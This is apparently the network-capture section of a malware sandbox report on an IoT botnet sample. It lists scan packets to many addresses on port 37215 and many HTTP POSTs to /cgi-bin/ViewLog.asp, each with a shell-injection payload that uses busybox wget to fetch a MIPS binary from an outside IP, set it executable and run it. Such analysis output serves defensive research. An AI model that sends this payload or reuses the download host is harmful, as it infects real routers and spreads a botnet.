                                                Nov 23, 2023 05:19:45.126768112 CET6399437215192.168.2.1541.49.92.82
                                                Nov 23, 2023 05:19:45.126768112 CET6399437215192.168.2.15156.31.20.245
                                                Nov 23, 2023 05:19:45.126768112 CET6399437215192.168.2.1541.211.130.170
                                                Nov 23, 2023 05:19:45.126768112 CET6399437215192.168.2.1541.221.47.29
                                                Nov 23, 2023 05:19:45.126789093 CET6399437215192.168.2.15156.137.177.162
                                                Nov 23, 2023 05:19:45.126802921 CET6399437215192.168.2.15156.78.207.232
                                                Nov 23, 2023 05:19:45.126806974 CET6399437215192.168.2.15156.82.248.180
                                                Nov 23, 2023 05:19:45.126807928 CET6399437215192.168.2.15156.171.140.221
                                                Nov 23, 2023 05:19:45.126807928 CET6399437215192.168.2.15156.182.132.12
                                                Nov 23, 2023 05:19:45.126808882 CET6399437215192.168.2.1541.152.141.32
                                                Nov 23, 2023 05:19:45.126807928 CET6399437215192.168.2.1541.107.181.44
                                                Nov 23, 2023 05:19:45.126812935 CET6399437215192.168.2.15156.38.237.19
                                                Nov 23, 2023 05:19:45.126816988 CET6399437215192.168.2.15156.56.33.88
                                                Nov 23, 2023 05:19:45.126816988 CET6399437215192.168.2.1541.25.204.255
                                                Nov 23, 2023 05:19:45.126812935 CET6399437215192.168.2.15156.155.31.16
                                                Nov 23, 2023 05:19:45.126822948 CET6399437215192.168.2.15156.82.78.35
                                                Nov 23, 2023 05:19:45.126837969 CET6399437215192.168.2.1541.79.183.251
                                                Nov 23, 2023 05:19:45.126838923 CET6399437215192.168.2.15156.251.221.70
                                                Nov 23, 2023 05:19:45.126838923 CET6399437215192.168.2.15197.154.193.145
                                                Nov 23, 2023 05:19:45.126842976 CET6399437215192.168.2.15156.191.158.111
                                                Nov 23, 2023 05:19:45.126857042 CET6399437215192.168.2.15197.212.150.176
                                                Nov 23, 2023 05:19:45.126861095 CET6399437215192.168.2.15156.179.153.221
                                                Nov 23, 2023 05:19:45.126871109 CET6399437215192.168.2.1541.24.250.240
                                                Nov 23, 2023 05:19:45.126878023 CET6399437215192.168.2.15156.115.243.238
                                                Nov 23, 2023 05:19:45.126882076 CET6399437215192.168.2.1541.199.97.144
                                                Nov 23, 2023 05:19:45.126898050 CET6399437215192.168.2.1541.177.86.143
                                                Nov 23, 2023 05:19:45.126899004 CET6399437215192.168.2.1541.92.99.24
                                                Nov 23, 2023 05:19:45.126898050 CET6399437215192.168.2.1541.252.168.49
                                                Nov 23, 2023 05:19:45.126900911 CET6399437215192.168.2.15197.28.93.66
                                                Nov 23, 2023 05:19:45.126910925 CET6399437215192.168.2.15197.83.104.221
                                                Nov 23, 2023 05:19:45.126913071 CET6399437215192.168.2.15156.3.79.44
                                                Nov 23, 2023 05:19:45.126914024 CET6399437215192.168.2.15156.114.205.253
                                                Nov 23, 2023 05:19:45.126914978 CET6399437215192.168.2.15156.170.58.233
                                                Nov 23, 2023 05:19:45.126924038 CET6399437215192.168.2.1541.7.129.249
                                                Nov 23, 2023 05:19:45.126940966 CET6399437215192.168.2.15197.49.132.49
                                                Nov 23, 2023 05:19:45.126941919 CET6399437215192.168.2.15156.47.3.192
                                                Nov 23, 2023 05:19:45.126940966 CET6399437215192.168.2.15156.63.149.71
                                                Nov 23, 2023 05:19:45.126940966 CET6399437215192.168.2.15156.124.231.134
                                                Nov 23, 2023 05:19:45.126943111 CET6399437215192.168.2.1541.1.102.82
                                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                Nov 23, 2023 05:22:28.459181070 CET192.168.2.151.1.1.10x4124Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
                                                Nov 23, 2023 05:22:28.459181070 CET192.168.2.151.1.1.10x1628Standard query (0)daisy.ubuntu.com28IN (0x0001)false
                                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                Nov 23, 2023 05:22:28.590811968 CET1.1.1.1192.168.2.150x4124No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
                                                Nov 23, 2023 05:22:28.590811968 CET1.1.1.1192.168.2.150x4124No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false
                                                Session IDSource IPSource PortDestination IPDestination Port
                                                0192.168.2.155152031.136.172.2118080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:44.346334934 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:44.925513983 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:46.109450102 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:48.541389942 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:53.405322075 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:02.877010107 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:21.820430040 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:00.731441021 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                1192.168.2.153572431.170.49.1638080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:44.448842049 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:44.740899086 CET313INHTTP/1.1 501 Not Implemented
                                                Connection: Keep-Alive
                                                Content-Length: 121
                                                Date: Thu, 23 Nov 2023 04:19:44 GMT
                                                Expires: 0
                                                Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 35 30 31 3a 20 4e 6f 74 20 49 6d 70 6c 65 6d 65 6e 74 65 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a
                                                Data Ascii: <html><head><title>Error 501: Not Implemented</title></head><body><h1>Error 501: Not Implemented</h1></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                2192.168.2.156098495.67.101.1508080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:44.661259890 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:44.874080896 CET499INHTTP/1.1 401 Unauthorized
                                                Date: Thu, 23 Nov 2023 04:19:44 GMT
                                                Server: Boa/0.94.14rc21
                                                Accept-Ranges: bytes
                                                Content-encoding: gzip
                                                Connection: close
                                                WWW-Authenticate: Basic realm="WF2780"
                                                user"
                                                Content-Type: text/html; charset=ISO-8859-1
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 67 65 74 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 66 72 6f 6d 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD><BODY><H1>401 Unauthorized</H1>Your client does not have permission to get URL /cgi-bin/ViewLog.asp from this server.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                3192.168.2.153293662.29.14.2328080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:44.668668032 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                4192.168.2.155710694.120.97.1038080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:44.676873922 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                5192.168.2.153957231.200.117.2108080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:44.880425930 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                6192.168.2.155267095.86.103.798080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:44.894376993 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                7192.168.2.155359262.150.217.288080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:44.912758112 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:45.164486885 CET367INHTTP/1.1 403 Forbidden
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 106
                                                Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly
                                                Connection: close
                                                Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                8192.168.2.153750231.12.75.418080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:45.883284092 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                9192.168.2.154478831.136.194.1168080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:45.939930916 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:46.493469000 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:47.613406897 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:50.077334881 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
